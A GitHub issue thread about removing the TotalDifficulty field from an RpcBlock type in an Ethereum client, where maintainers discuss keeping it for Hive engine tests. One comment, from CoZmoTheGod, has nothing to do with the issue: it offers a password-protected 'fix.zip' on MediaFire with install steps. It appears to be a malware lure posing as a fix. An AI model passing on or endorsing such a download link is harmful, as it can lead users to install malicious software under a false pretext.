Remove `TotalDifficulty` from RpcBlock

[avilagaston9]

See ethereum/execution-apis#570.
We are currently including TotalDifficulty in RPC block requests solely to match Hive tests. This should be removed once it is deprecated.

[CoZmoTheGod]

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

[fmoletta]

We are adding this field back in #566 as we need it to run hive engine tests.
We can look into removing it once the hive engine test suite gets updated too